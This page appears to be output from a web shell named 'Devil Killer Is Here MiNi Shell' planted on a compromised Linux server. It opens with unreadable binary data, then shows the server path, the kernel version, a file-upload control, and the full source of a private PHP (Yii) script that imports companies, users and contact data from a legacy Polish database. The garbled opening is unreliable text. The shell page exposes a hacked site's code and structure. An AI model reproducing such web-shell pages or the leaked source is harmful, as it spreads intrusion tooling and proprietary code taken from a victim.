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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportCompaniesAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use yii\base\Action;
use yii\helpers\ArrayHelper;
use common\models\Users;
use common\models\UsersContactData;
use common\models\Companies;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\PresentationsTabs;
use common\models\CompaniesPresentationsPages;
use common\models\CompaniesContactData;
use common\models\types\Status;
use common\models\types\ContactDataType;
use common\models\Portals;
use common\models\Emails;
use common\models\CompaniesPresentationsMirroring;

class ImportCompaniesAction extends ImportAbstractAction
{       
    private $companies = [];
    private $portals = [];
    private $tabsMap = [];
    private $packagesMap = [];
    private $regionsMap = [];
    private $tabs = [];
    private $duplicatedUsers = [];
    
    public function run() 
    {   
        $debugMode = self::DEBUG_MODE_ON;
        
        $this->portals = Portals::find()->select(['id_portal', 'id_parent_portal'])->asArray()->indexBy('id_portal')->all();    
        $this->tabs = PresentationsTabs::find()->indexBy('id_tab')->all();
        $this->getCompanies();
                
        foreach($this->companies as $company) {
            $filesToCopy = [];
            var_dump($company['o_firmie']); exit;
//            if($this->checkIfSelectedRecordExists($company['id_user'])) {
//                continue;
//            }
            
            if(empty($company['portale'])) {
                if($debugMode === self::DEBUG_MODE_OFF) {
                    $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Company does not exist on any portal.');
                }
                continue;
            }  
            
            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'firma ID: '.$company['id_user'].' - ';
            }
            
//            $idBaseUser = $this->getIdBaseForUser($company['id_user']);
//            if(intval($idBaseUser) === intval($company['id_user'])) {            
//                if($debugMode === self::DEBUG_MODE_ON) {
//                    echo "\n".'firma ID: '.$company['id_user'].' - ';
//                }
//
//                $transaction = Yii::$app->db->beginTransaction();
//                
//                $modelsCompanyContactData = $this->createModelsCompaniesContactData($company, $company['id_company']);            
//                if(!empty($modelsCompanyContactData)) {
//                    $goToNextIterration = false;
//                    foreach($modelsCompanyContactData as $modelCompanyContactData) {                        
//                        if(!$modelCompanyContactData->validate()) {
//                            var_dump($modelCompanyContactData->getErrors()); 
//                            $transaction->rollBack();
//                            exit;
//                        }
//                        if(!$modelCompanyContactData->save(false)) {  
//                            var_dump('blad podczas zapisu'); 
//                            $transaction->rollBack();
//                            exit;
//                        }
//                    }
//                    if($goToNextIterration) {
//                        continue;
//                    }
//                }
//
//                if($debugMode === self::DEBUG_MODE_OFF) {
//                    $transaction->commit();
//                } else {
//                    echo 'zapisana';
//    //                echo "\n";
//                }
//            }
//            continue;
            
            
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $idBaseUser = $this->getIdBaseForUser($company['id_user']);
            if(intval($idBaseUser) !== intval($company['id_user'])) {
                $idCompany = $this->getIdCompanyForOldIdUser($idBaseUser);
                if($idCompany === null) {
                    continue;
                } else {
                    $modelCompany = new Companies();
                    $modelCompany->id_company = $idCompany;
                }
            } else {
                $modelUser = $this->createModelUsers($company);
                if(($result = $this->trySaveModel($modelUser, $company['id_user'], $debugMode)) !== true) {
                    continue;
                } 

                $modelsUsersContactData = $this->createModelUsersContactData($company, $modelUser->id_user);
                if(!empty($modelsUsersContactData)) {
                    $goToNextIterration = false;
                    foreach($modelsUsersContactData as $modelUserContactData) {
                        if(($result = $this->trySaveModel($modelUserContactData, $company['id_user'], $debugMode)) !== true) {
                            $goToNextIterration = true;
                            break;
                        } 
                    }
                    if($goToNextIterration) {
                        continue;
                    }
                }
                
                $modelCompany = $this->createModelCompanies($company, $modelUser->id_user);  
                if(($result = $this->trySaveModel($modelCompany, $company['id_user'], $debugMode)) !== true) {
                    continue;
                }
                if(!empty($modelCompany->logo_filename)) {
                    $filesToCopy[] = [
                        'source_path' => Yii::getAlias('@runtime').'/sources/companies/'.$company['logo'], 
                        'target_path' => Yii::getAlias('@companiesImagesRealPath').'/'.$modelCompany->id_company.'/'.$modelCompany->logo_filename
                    ];
                }

                $modelsCompanyContactData = $this->createModelsCompaniesContactData($company, $modelCompany->id_company);            
                if(!empty($modelsCompanyContactData)) {
                    $goToNextIterration = false;
                    foreach($modelsCompanyContactData as $modelCompanyContactData) {
                        if(($result = $this->trySaveModel($modelCompanyContactData, $company['id_user'], $debugMode)) !== true) {
                            $goToNextIterration = true;
                            break;
                        } 
                    }
                    if($goToNextIterration) {
                        continue;
                    }
                }
            }
            
            $idsPresentationsForMirroring = [];
            $goToNextIterration = false;
            foreach($company['portale'] as $idPortal => $assignedPortal) {
                $modelPresentation = $this->createModelCompaniesPresentations($assignedPortal, $modelCompany->id_company);   
                if(($result = $this->trySaveModel($modelPresentation, $company['id_user'], $debugMode)) !== true) {
                    $goToNextIterration = true;
                    break;
                }
                
                if(!empty($this->portals[$idPortal]['id_parent_portal'])) {
                    $idsPresentationsForMirroring[] = $modelPresentation->id_presentation;
                }
                
                if(!empty($company['zakladki'])) {
                    $goToNextIterration2 = false;
                    $idAboutCompanyTab = $idOfferTab = null;
                    foreach($company['zakladki'] as $presentationTab) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs($presentationTab, $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            $goToNextIterration2 = true;
                            break;
                        }
                        if($presentationTab['id'] === 'ABOUT_COMPANY') {
                            $idAboutCompanyTab = $modelPresentationTab->id_company_tab;
                        } elseif($presentationTab['id'] === 'OFFER') {
                            $idOfferTab = $modelPresentationTab->id_company_tab;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                    
                    if(empty($idAboutCompanyTab)) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'ABOUT_COMPANY', 'status' => 0], $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            $goToNextIterration = true;
                            break;
                        }
                        $idAboutCompanyTab = $modelPresentationTab->id_company_tab;
                    }
                    if(empty($idOfferTab)) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'OFFER', 'status' => 0], $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            $goToNextIterration = true;
                            break;
                        }
                        $idOfferTab = $modelPresentationTab->id_company_tab;
                    }
                    
                    //@todo przetestować czy prawidłowo zamienia ścieżki do obrazków wewnątrz treśći
                    $pageAboutCompanyLead = !empty($company['opis_wyszukiwarka']) ? strip_tags($company['opis_wyszukiwarka']) : null;
                    $pageAboutCompanyContent = !empty($company['o_firmie']) ? $company['o_firmie'] : null;
                    $modelPresentationPage = $this->createModelCompaniesPresentationsPages($idAboutCompanyTab, $pageAboutCompanyLead, $pageAboutCompanyContent, $company['id_user'], $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelPresentationPage, $company['id_user'], $debugMode)) !== true) {
                        $goToNextIterration = true;
                        break;
                    }
                    
                    $pageOfferLead = !empty($company['oferta']) ? strip_tags($company['oferta']) : null;
                    $pageOfferContent = !empty($company['oferta']) ? $company['oferta'] : null;
                    $modelPresentationPage = $this->createModelCompaniesPresentationsPages($idOfferTab, $pageOfferLead, $pageOfferContent, $company['id_user'], $modelCompany->id_company);                        
                    if(($result = $this->trySaveModel($modelPresentationPage, $company['id_user'], $debugMode)) !== true) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'BRANCHES', 'status' => 1], $modelPresentation->id_presentation);                        
                if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                    $goToNextIterration = true;
                }
            }
            if($goToNextIterration) {
                continue;
            }
            
            //@todo to nie było testowane
            if(count($idsPresentationsForMirroring) > 1) {
                foreach($idsPresentationsForMirroring as $idPresentationMirroring1) {
                    $goToNextIterration2 = false;
                    foreach($idsPresentationsForMirroring as $idPresentationMirroring2) {
                        if($idPresentationMirroring1 !== $idPresentationMirroring2) {
                            $modelCompanyPresentationMirroring = new CompaniesPresentationsMirroring(['id_presentation' => $idPresentationMirroring1, 'id_related_presentation' => $idPresentationMirroring2]);
                            if(($result = $this->trySaveModel($modelCompanyPresentationMirroring, $company['id_user'], $debugMode)) !== true) {
                                $goToNextIterration2 = true;
                                break;
                            }
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }

            if(!empty($filesToCopy) && $debugMode === self::DEBUG_MODE_OFF) {
                $goToNextIterration = false;                
                foreach($filesToCopy as $fileToCopy) {
                    if(!$this->copyFile($fileToCopy)) {
                        $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error when copying a file');
                        $transaction->rollBack();
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            //@todo przetestować czy kopiuje prawidłowo
            if($debugMode === self::DEBUG_MODE_OFF && file_exists(Yii::getAlias('@runtime').'/sources/companies_content_images/'.$company['id_user'].'/')) {
                $sourcePath = Yii::getAlias('@runtime').'/sources/companies_content_images/'.$company['id_user'].'/';
//                $targetPath = Yii::getAlias('@companiesImagesRealPath').'/'.$modelCompany->id_company.'/'.Yii::getAlias('@companiesContentsImagesDirName').'/';
                $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$modelCompany->id_company.'/';
                if(!$this->copyDir($sourcePath, $targetPath)) {
                    $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error when copying a file');
                    $this->removeDir($targetPath);
                    $transaction->rollBack();                    
                    continue;
                }
            }
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                $this->saveOperationStatus(self::STATUS_OK, $company['id_user'], $modelCompany->id_company);
                $this->usersToCompaniesMap[(int)$company['id_user']] = (int)$modelCompany->id_company;
                $transaction->commit();
            } else {
                echo 'zapisana';
//                echo "\n";
            }
        }
    }
    
    private function getCompanies()
    {
        $this->companies = [];
//        $rows = Yii::$app->dbVortale->createCommand('SELECT users.*, pakiety_users.id_pakiet, faktury_dane.nip AS nip_f FROM users, pakiety_users, faktury_dane WHERE users.id_user = pakiety_users.id_user AND users.id_user = faktury_dane.id_user AND users.id_portal = 1 AND users.profil = 5 AND users.id_user IN (33204,33205,33252,33263,43463) AND users.status = 1 ORDER BY id_user DESC LIMIT 20')->queryAll();
//        $sql = 'SELECT users.*, pakiety_users.id_pakiet FROM users, pakiety_users WHERE users.id_user = pakiety_users.id_user AND users.id_user IN (32833,33258,33266,36705,43465,53537,54130,57478) ORDER BY users.id_user DESC LIMIT 20';
        $sql = 'SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.id_portal = 8 AND u.profil = 8 AND u.status = 1 AND pu.id_pakiet > 1 ORDER BY u.id_user LIMIT 0,3';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            //@todo proteza
//            $idCompany = $this->getIdCompanyForOldIdUser($row['id_user']);
//            if($idCompany === null) {
//                continue;
//            } else {
//                $row['id_company'] = $idCompany;
//            } 
            
            $portals = [];
            if(empty($row['id_portal']) || !isset($this->packagesMap[intval($row['id_pakiet'])])) {
                continue;
            }
            
            $portals[intval($row['id_portal'])] = ['id_portal' => $row['id_portal'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
            if(!empty($row['id_portal_2'])) {
                $portals[intval($row['id_portal_2'])] = ['id_portal' => $row['id_portal_2'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
            }
            if(!empty($row['id_portal_3'])) {
                $portals[intval($row['id_portal_3'])] = ['id_portal' => $row['id_portal_3'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
            }

            foreach($portals as $key => $portalData) {
                if(!isset($this->portals[intval($portalData['id_portal'])])) {
                    unset($portals[$key]);
                }
            }            
            if(empty($portals)) {
                continue;
            }
            
            $row = $this->convertDataLatin2ToUTF8($row);
            $row['email_firma2'] = $row['email_firma3'] = $row['www2'] = $row['www3'] = $row['tel2'] = $row['tel3'] = $row['fax2'] = $row['fax3'] = $row['gsm2'] = $row['gsm3'] = $row['regon'] = $row['krs'] = '';
            $this->companies[$row['id_user']] = $row;            
            $this->companies[$row['id_user']]['portale'] = $portals;
        }
        
        $idsUsers = array_keys($this->companies);        
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM zakladki_status WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                if(!isset($this->tabsMap[intval($row['id'])])) {
                    continue;
                }
                $this->companies[$row['id_user']]['zakladki'][$this->tabsMap[intval($row['id'])]] = ['id' => $this->tabsMap[intval($row['id'])], 'status' => $row['status']];
            }
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, opis_wyszukiwarka, oferta FROM portal_firmy WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->companies[$row['id_user']]['o_firmie'] = $this->convertDataLatin2ToUTF8($row['opis_wyszukiwarka']);
                $this->companies[$row['id_user']]['oferta'] = $this->convertDataLatin2ToUTF8($row['oferta']);
            }
        }

        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, latitude, longitude FROM firmy_geo WHERE id_user IN ('.implode(",", $idsUsers).') AND id_oddzialu = 0')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->companies[$row['id_user']]['lat'] = $row['latitude'];
                $this->companies[$row['id_user']]['lng'] = $row['longitude'];
            }
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT email_firma2, email_firma3, www2, www3, tel2, tel3, fax2, fax3, gsm2, gsm3, regon, krs FROM firmy_kontakt WHERE firmy_kontakt.id_user IN ('.implode(",", $idsUsers).') AND firmy_kontakt.dzial = ""')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);                
                $this->companies[$row['id_user']]['email_firma2'] = $row['email_firma2'];
                $this->companies[$row['id_user']]['email_firma3'] = $row['email_firma3'];
                $this->companies[$row['id_user']]['www2'] = $row['www2'];
                $this->companies[$row['id_user']]['www3'] = $row['www3'];
                $this->companies[$row['id_user']]['tel2'] = $row['tel2'];
                $this->companies[$row['id_user']]['tel3'] = $row['tel3'];
                $this->companies[$row['id_user']]['fax2'] = $row['fax2'];
                $this->companies[$row['id_user']]['fax3'] = $row['fax3'];
                $this->companies[$row['id_user']]['gsm2'] = $row['gsm2'];
                $this->companies[$row['id_user']]['gsm3'] = $row['gsm3'];
                $this->companies[$row['id_user']]['regon'] = $row['regon'];
                $this->companies[$row['id_user']]['krs'] = $row['krs'];
            }
        }
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        
        $this->tabsMap = [
            1 => 'CONTACT_DATA',
            2 => 'INDUSTRIES_AND_COVERAGE',
            3 => 'ABOUT_COMPANY',
            4 => 'OFFER',
            5 => 'PRODUCTS_AND_SERVICES',
            6 => 'REFERENCES_AND_AWARDS',
            7 => 'PUBLICATIONS',
            8 => 'DOWNLOAD',
            9 => 'PHOTO_GALLERIES',
            10 => 'VIDEO_GALLERIES',
            11 => 'CONTACT_DATA',
            12 => 'CONTACT_DATA'
        ];
        
        $this->packagesMap = [
            1 => 'STARTER',
            2 => 'BASIC',
            3 => 'STANDARD',
            4 => 'STANDARD_PLUS',
            5 => 'PREMIUM',
            6 => 'EXCLUSIVE',
            7 => 'CUSTOM',
        ];
        
        $this->regionsMap = [
            1 => "dolnośląskie",
            2 => "kujawsko-pomorskie",
            3 => "lubelskie",
            4 => "lubuskie",
            5 => "łódzkie",
            6 => "małopolskie",
            7 => "mazowieckie",
            8 => "opolskie",
            9 => "podkarpackie",
            10 => "podlaskie",
            11 => "pomorskie",
            12 => "śląskie",
            13 => "świętokrzyskie",
            14 => "warmińsko-mazurskie",
            15 => "wielkopolskie",
            16 => "zachodniopomorskie"
        ];
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT users_duplicated.* FROM users_duplicated')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->duplicatedUsers[intval($row['id_user'])] = intval($row['id_user_base']);
            }
        }
        unset($rows);
        
        parent::init();
    }
    
    private function getIdBaseForUser($oldIdUser)
    {
        return isset($this->duplicatedUsers[(int)$oldIdUser]) ? $this->duplicatedUsers[(int)$oldIdUser] : $oldIdUser;
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_companies';
    }
    
    private function createModelCompanies($company, $idUser)
    {
        $company['adres'] = trim($company['adres']);
        $company['nr_budynku'] = trim($company['nr_budynku']);
        $company['nr_lokalu'] = trim($company['nr_lokalu']);
        $company['krs'] = trim($company['krs']);
        $company['regon'] = trim($company['regon']);
        
        $modelCompany = new Companies(['scenario' => 'create']);
        $modelCompany->id_user = $idUser;
        $modelCompany->name = $company['nazwa'];
        $modelCompany->short_name = (!empty($company['nazwa_skrocona'])) ? $company['nazwa_skrocona'] : null;  
        if(empty($company['nr_budynku'])) {
            $matches = [];
            if(preg_match('@(.{0,5}[^0-9]*)\s([0-9]+.*)@', $company['adres'], $matches, 0) === 1) {
                $modelCompany->street = trim($matches[1]);
                $modelCompany->building_number = trim($matches[2]);
                $modelCompany->apartment_number = !empty($company['nr_lokalu']) ? $company['nr_lokalu'] : null;
            }
        } else {
            $modelCompany->street = $company['adres'];
            $modelCompany->building_number = $company['nr_budynku'];
            $modelCompany->apartment_number = !empty($company['nr_lokalu']) ? $company['nr_lokalu'] : null;
        }
        $modelCompany->address_cont = null;
        if(!empty($company['kod_1']) && !empty($company['kod_2'])) {
            $modelCompany->postcode = $company['kod_1'].'-'.$company['kod_2'];
        } elseif(!empty($company['kod_panstwo'])) {
            $modelCompany->postcode = $company['kod_panstwo'];
        } else {
            $modelCompany->postcode = null;
        }

        $modelCompany->locality = $company['miejscowosc'];
        $modelCompany->region = isset($this->regionsMap[intval($company['wojewodztwo'])]) ? $this->regionsMap[intval($company['wojewodztwo'])] : null;
        if(intval($company['wojewodztwo']) === 0 && (!empty($company['state']))) {
            $modelCompany->id_country = null;
        } else {
            $modelCompany->id_country = 'PL';
        }            
        if(!empty($company['nip'])) {
            $nip = $company['nip'];
//        } elseif(!empty($company['nip_f'])) {
//            $nip = $company['nip_f'];
        } else {
            $nip = null;
        }
//        $modelCompany->tax_id = preg_replace('/[^0-9]/', '', $nip);
        $modelCompany->business_registration_number = !empty($company['regon']) ? $company['regon'] : null;
        $modelCompany->national_court_register_number = !empty($company['krs']) ? $company['krs'] : null;
        $modelCompany->status = intval($company['status']) === 1 ? Status::ACTIVE : Status::INACTIVE; //@todo ustalić jak dokładnie mają wyglądać statusy        
        if(!empty($company['logo']) && file_exists(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo'])) {
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo']);            
            $modelCompany->logo_filename = Companies::createLogoFileName('logo', $fileInfo['extension']);            
        } else {
            $modelCompany->logo_filename = null;
        }        
        if(!empty($company['lat'])) {
            $modelCompany->lat = $company['lat'];
            $modelCompany->lng = $company['lng'];
        }
 
        return $modelCompany;
    }
    
    private function createModelUsers($company)
    {
        $modelUser = new Users(['scenario' => 'create']);
        $modelUser->login = $company['login'];
        $modelUser->password = Yii::$app->getSecurity()->generatePasswordHash($company['haslo']);        
        $modelUser->forename = $company['imie_user'];
        $modelUser->surname = !empty($company['nazwisko_user']) ? $company['nazwisko_user'] : $company['imie_user'];
        $modelUser->avatar_filename = null;
        $modelUser->settings = '{}';
        $modelUser->status = intval($company['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
        $modelUser->generateAuthKey();
        $modelUser->profile = 'firma';
        if(!empty($company['polecil'])) {
            $modelUser->referrer = $company['polecil'];
        }
        
        return $modelUser;
    }
    
    private function createModelUsersContactData($company, $idUser)
    {
        $models = [];
        $email = $phone = null;
        $labelsForContactDataTypes = ContactDataType::getValuesWithLabels();
        
        if(!empty($company['email_user'])) {
            $email = $company['email_user'];
        } elseif(!empty($company['email_firma'])) {
            $email = $company['email_firma'];
        }
        
        if(!empty($email)) {            
            $emailPurposes = [];
            foreach(Emails::$purposesFields as $purposeField) {
                $emailPurposes[$purposeField] = 1;
            }
            $emailPurposes['or_contact_person'] = 0;
            
            $model = new UsersContactData(['scenario' => 'create']);
            $model->id_user = $idUser;
            $model->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::EMAIL]);
            $model->data_value = $email;
            $model->data_type = ContactDataType::EMAIL;
            $model->data_order = 1;
            $model->required = 1;
            $model->settings = json_encode(['purposes' => $emailPurposes]);
            
            $models[] = $model;
        }
        
        $validatorPhone = new \yii\validators\RegularExpressionValidator(['pattern' => '/^[0-9]{9,12}$/i']);
        if(!empty($company['telefon_user'])) {
            $phoneTemp = !empty($company['kierunek_telefon_user']) ? $company['kierunek_telefon_user'].$company['telefon_user'] : $company['telefon_user'];
            $phoneTemp = preg_replace('|[^0-9]|i', '', $phoneTemp);
            if($validatorPhone->validate($phoneTemp)) {
                $phone = $phoneTemp;
            }
        }
        if(empty($phone) && !empty($company['komorka_user'])) {
            $phoneTemp = preg_replace('|[^0-9]|i', '', $company['komorka_user']);
            if($validatorPhone->validate($phoneTemp)) {
                $phone = $phoneTemp;
            }
        }
        
        if(!empty($phone)) {
            $model = new UsersContactData(['scenario' => 'create']);
            $model->id_user = $idUser;
            $model->data_label = ucfirst($labelsForContactDataTypes[ContactDataType::MOBILE_PHONE]);
            $model->data_value = $phone;
            $model->data_type = ContactDataType::MOBILE_PHONE;
            $model->data_order = 2;
            $model->required = 1;
            
            $models[] = $model;
        }
        
        return $models;
    }
    
    private function createModelsCompaniesContactData($company, $idCompany)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        
        $labelForMobilePhone1 = $labelForMobilePhone2 = $labelForMobilePhone3 = $labelForMobilePhone4 = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
        if(count(array_filter([$company['komorka_1'], $company['komorka_user'], $company['gsm2'], $company['gsm3']])) > 1) {
            $counter = 1;
            if(!empty($company['komorka_1'])) {
                $labelForMobilePhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['komorka_user'])) {
                $labelForMobilePhone2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['gsm2'])) {
                $labelForMobilePhone3 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['gsm3'])) {
                $labelForMobilePhone4 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForPhone1 = $labelForPhone2 = $labelForPhone3 = $contactDataTypesLabels[ContactDataType::PHONE];
        if(count(array_filter([$company['telefon_1'], $company['tel2'], $company['tel3']])) > 1) {
            $counter = 1;
            if(!empty($company['telefon_1'])) {
                $labelForPhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['tel2'])) {
                $labelForPhone2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['tel3'])) {
                $labelForPhone3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForFax1 = $labelForFax2 = $labelForFax3 = $contactDataTypesLabels[ContactDataType::FAX];
        if(count(array_filter([$company['fax'], $company['fax2'], $company['fax3']])) > 1) {
            $counter = 1;
            if(!empty($company['fax'])) {
                $labelForFax1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['fax2'])) {
                $labelForFax2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['fax3'])) {
                $labelForFax3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForWWW1 = $labelForWWW2 = $labelForWWW3 = $contactDataTypesLabels[ContactDataType::WWW];
        if(count(array_filter([$company['www'], $company['www2'], $company['www3']])) > 1) {
            $counter = 1;
            if(!empty($company['www'])) {
                $labelForWWW1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['www2'])) {
                $labelForWWW2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['www3'])) {
                $labelForWWW3 .= ' '.$counter;
                $counter++;
            }
        }
        
        $labelForEmail1 = $labelForEmail2 = $labelForEmail3 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(count(array_filter([$company['email_firma'], $company['email_firma2'], $company['email_firma3']])) > 1) {
            $counter = 1;
            if(!empty($company['email_firma'])) {
                $labelForEmail1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['email_firma2'])) {
                $labelForEmail2 .= ' '.$counter;
                $counter++;
            }
            if(!empty($company['email_firma3'])) {
                $labelForEmail2 .= ' '.$counter;
                $counter++;
            }
        } 
        
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => !empty($company['kierunek_1']) ? $company['kierunek_1'].$company['telefon_1'] : $company['telefon_1'], 'checkValue' => $company['telefon_1'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => $company['tel2'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::PHONE, 'value' => $company['tel3'], 'label' => $labelForPhone3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['komorka_1'], 'label' => $labelForMobilePhone1],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['gsm2'], 'label' => $labelForMobilePhone3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['gsm3'], 'label' => $labelForMobilePhone4],
            ['type' => ContactDataType::FAX, 'value' => !empty($company['kierunek_fax']) ? $company['kierunek_fax'].$company['fax'] : $company['fax'], 'checkValue' => $company['fax'], 'label' => $labelForFax1],
            ['type' => ContactDataType::FAX, 'value' => $company['fax2'], 'label' => $labelForFax2],
            ['type' => ContactDataType::FAX, 'value' => $company['fax2'], 'label' => $labelForFax3],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $company['komorka_user'], 'label' => $labelForMobilePhone2],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma2'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $company['email_firma3'], 'label' => $labelForEmail3, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::SKYPE, 'value' => $company['skype']],
            ['type' => ContactDataType::GG, 'value' => $company['gg']],
            ['type' => ContactDataType::WWW, 'value' => $company['www'], 'label' => $labelForWWW1],
            ['type' => ContactDataType::WWW, 'value' => $company['www2'], 'label' => $labelForWWW2],
            ['type' => ContactDataType::WWW, 'value' => $company['www3'], 'label' => $labelForWWW3],
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {
            if((isset($contactDataField['checkValue']) && !empty($contactDataField['checkValue'])) || !empty($contactDataField['value'])) {
                $model = new CompaniesContactData(['scenario' => 'create']);
                $model->id_company = $idCompany;
                $model->data_value = $contactDataField['value'];
                $model->data_label = (isset($contactDataField['label'])) ? $contactDataField['label'] : $contactDataTypesLabels[$contactDataField['type']];
                $model->data_type = $contactDataField['type'];
                $model->data_order = $contacDataFieldOrder;
                $model->required = 0; //@todo ustalić, dla których pól ustawiać tutaj wartość 1

                if(!empty($contactDataField['purposes'])) {
                    $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                }
                
                $models[] = $model;                
                $contacDataFieldOrder++; 
            } 
        }
        
        return $models;
    }
    
    private function createModelCompaniesPresentations($assignedPortal, $idCompany)
    {
        $modelPresentation = new CompaniesPresentations(['scenario' => 'create']);
